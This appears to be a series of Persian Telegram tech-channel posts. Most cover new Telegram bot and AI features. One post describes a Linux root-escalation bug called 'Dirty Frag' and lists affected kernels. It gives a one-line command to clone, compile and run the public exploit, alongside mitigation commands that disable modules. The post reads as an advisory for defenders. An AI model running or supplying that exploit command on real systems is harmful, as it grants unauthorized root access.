تلگرام از قابلیت جدیدی برای بات‌ها به نام Guest Bots یا "بات‌های مهمان" رونمایی کرده که اجازه میده از بات‌ها در گروه‌ها و چت‌های شخصی بدون نیاز به اضافه کردن اون‌ها یا دادن دسترسی به همه پیام‌ها استفاده کرد که برای بات‌هایی مثل بات‌های هوش مصنوعی می‌تونه کاربردی باشه.

برای استفاده از این قابلیت باید سازنده این حالت رو در BotFather فعال کرده باشه، بعد از اون مشابه بات‌های Inline، با قرار دادن آیدی بات در ابتدای پیام می‌تونین از این حالت استفاده کنین.

یکی از تفاوت‌های مهم بین Guest Bots و Inline Mode این هست که در حالت Inline بات از محتوای پیامی که بهش ریپلای زدین خبردار نمیشه ولی Guest Bot می‌تونه محتوای پیام ریپلای شده رو هم ببینه و در جواب اون رو لحاظ کنه. مثلا می‌تونین روی یک پیام ریپلای کنین و بنویسین:

@GrokAI is this true?

و بات موردنظر می‌تونه با دیدن پیام ریپلای شده، به اون جواب بده.

علاوه بر این در حالت این‌لاین، نام شما روی پیام بات قرار داده میشه، ولی Guest Bot پیام مستقل با نام خودش می‌فرسته.

همچنین در هر پیام می‌تونین به طور همزمان ۳ عدد Guest Bot رو منشن کنید تا هر سه‌تای اون‌ها به طور جداگانه یا با کمک همدیگه جوابتون رو بدن.

🚀 دیگر قابلیت‌های اپدیت جدید تلگرام

📍 @TechTube

علاوه بر این بات‌ها حالا می‌تونن پیام‌های همدیگه رو ببینن و به اون‌ها واکنش نشون بدن که به خصوص برای بات‌های هوش مصنوعی و Agentها می‌تونه کاربردی باشه.

این قابلیت باید برای هر بات در BotFather فعال بشه و سازنده بات باید اقدامات لازم برای جلوگیری از درگیر شدن در لوپ بی‌نهایت رو لحاظ کنه.

🚀 دیگر قابلیت‌های اپدیت جدید تلگرام

📍 @TechTube

قابلیت Business Bot که حالا با عنوان Chat Automation شناخته میشه، برای همه کاربران رایگان شده و دیگه نیازی به اشتراک پریمیوم نداره.

این قابلیت، نسخه اصولی بات‌های سلف برای کنترل اکانت هست و به کاربران امکان مدیریت هوشمندانه اکانتشون و دادن جواب‌های خودکار با هوش مصنوعی به پیام‌های دریافتی رو میده.

🚀 دیگر قابلیت‌های اپدیت جدید تلگرام

📍 @TechTube

در آپدیت قبلی تلگرام امکان تغییر و اصلاح متن با استایل‌های مختلف از طریق هوش مصنوعی اضافه شد ولی این استایل‌ها تا پیش از این ثابت بودن. اما حالا تلگرام امکان اضافه کردن استایل‌های سفارشی رو ممکن کرده.

با این قابلیت کاربران با ساخت استایل جدید می‌تونن دستور مدنظرشون برای ویرایش یا اصلاح متن رو وارد کنن و هوش مصنوعی تلگرام براساس اون اقدام به تغییر متن ورودی کاربر می‌کنه.

این استایل‌ها قابلیت اشتراک‌گذاری دارن و میشه از طریق لینک اون‌ها رو برای بقیه کاربران فرستاد.


🚀 دیگر قابلیت‌های اپدیت جدید تلگرام

📍 @TechTube

تلگرام قابلیت جستجوی استیکر و اموجی‌ها از طریق کلیدواژه‌هارو بهبود داده و حالا بیش از ۱۰۰ میلیون استیکر و اموجی توسط هوش مصنوعی تلگرام اسکن شدن تا با ۳۶ زبان قابل جستجو باشن.

🚀 دیگر قابلیت‌های اپدیت جدید تلگرام

📍 @TechTube

نکته‌ای که در آپدیت قبلی تلگرام فراموش شد که به اون اشاره بشه، تغییری در نحوه فوروارد کردن موزیک‌ها هست که حالا مثل بقیه پیام‌ها، تلگرام در اندروید و دسکتاپ مبدأ اون موزیک رو هم نشون میده.

بنابراین در هنگام فوروارد کردن موزیک‌ها، حواستون باشه که اگر مایل نیستین مبدأ اون موزیک (چه شخص و چه کانال) مشخص بشه، گزینه Hide Sender Name رو برای اون موزیک در هنگام فوروارد فعال کنید.

🚀 دیگر قابلیت‌های اپدیت جدید تلگرام

📍 @TechTube

صاحبان بات‌های تلگرامی از حالا می‌تونن از طریق BotFather دسترسی به باتشون رو تنها به خودشون و افراد مدنظرشون محدود کنن که برای بات‌های شخصی و بات‌های درون سازمانی کاربردی هست.

تا پیش از این برای این کار نیاز بود که دسترسی افراد در سطح کد محدود بشه ولی حالا با رفتن به وب‌اپ BotFather، وارد شدن به قسمت Bot Settings میشه با فعال کردن قابلیت Restrict bot usage امکان استفاده از بات رو به خودتون و دیگر افرادی که انتخاب می‌کنید، محدود کنید.

🚀 دیگر قابلیت‌های اپدیت جدید تلگرام

📍 @TechTube

بازهم آسیب‌پذیری تمام لینوکس‌ها از ۲۰۱۷: Dirty Frag

آسیب‌پذیری تازه‌ای در ادامه‌ی Dirty Pipe و Copy Fail پیدا شده، که با ترکیب دو باگ امنیتی (xfrm-ESP و RxRPC در Page Cache) در بسیاری از توزیع‌ها می‌تونه دسترسی root بگیره.

می‌تونید روی سیستم خودتون هم امتحانش کنید:

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

پس از اینکه انجامش دادید، Page Cache شما آلوده شده با اجرای دستور:

echo 3 > /proc/sys/vm/drop_caches

یا ری‌استارت کردن سیستم به حالت پیش برگردونیدش.

راهکار:
تا پچ امنیتی برای توزیعتون بیاد می‌تونید با این دستور ماژولهایی که این آسیب‌پذیری در اونها وجود داره را غیرفعال کنید و Page cache را پاک کنید:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

روی این سیستم‌ها تا الان تست شده و آسیب‌پذیر بودند:

Ubuntu 24.04.4: 6.17.0-23-generic
RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
openSUSE Tumbleweed: 7.0.2-1-default
CentOS Stream 10: 6.12.0-224.el10.x86_64
AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
Fedora 44: 6.19.14-300.fc44.x86_64

اگه شبیه CopyFail به نظر میاد خودشون گفتن که:

ایده شروع این تحقیق از آسیب‌پذیری Copy Fail گرفته شده. به‌طور مشخص، بخش xfrm-ESP در زنجیره آسیب‌پذیری Dirty Frag از همان نقطه ضعف مشابه Copy Fail استفاده می‌کند. اما تفاوت مهم این است که این آسیب‌پذیری مستقل از وجود ماژول algif_aead فعال می‌شود.

به عبارت دیگر، حتی اگر روی سیستم راهکار شناخته‌شده مقابله با Copy Fail (مثل غیرفعال کردن algif_aead) اعمال شده باشد، باز هم لینوکس شما در برابر Dirty Frag آسیب‌پذیر باقی می‌ماند.

⌨️ توضیحات بیشتر در گیت‌هاب

تمام این اتفاق‌ها داره در زمانی میوفته که اینترنت ایران همچنان قطعه، سیستم‌ها به روز نشدند، با خبر شدن از این باگ‌ها و برطرف کردنشون به مراتب سخت‌تر خواهد بود.

✈️ به این لیست (از کانال سهراب) Dirty Frag را هم اضافه کنید.


🎮 @gooyban

‏🪙 بالأخره فرگمنت پشتیبانی از استیبل کوین تتر روی شبکه TON رو برای پرداخت اضافه کرده و حالا به جای پرداخت با شت کوینی که ارزشش امروز ۲۰ درصد میره بالا و چند روز دیگه ۴۰ درصد میاد پایین، می‌تونید با استیبل کوینی که ارزشش ثابته در فرگمنت اشتراک پریمیوم و استار تلگرام رو خریداری کنید.

📍 @TechTube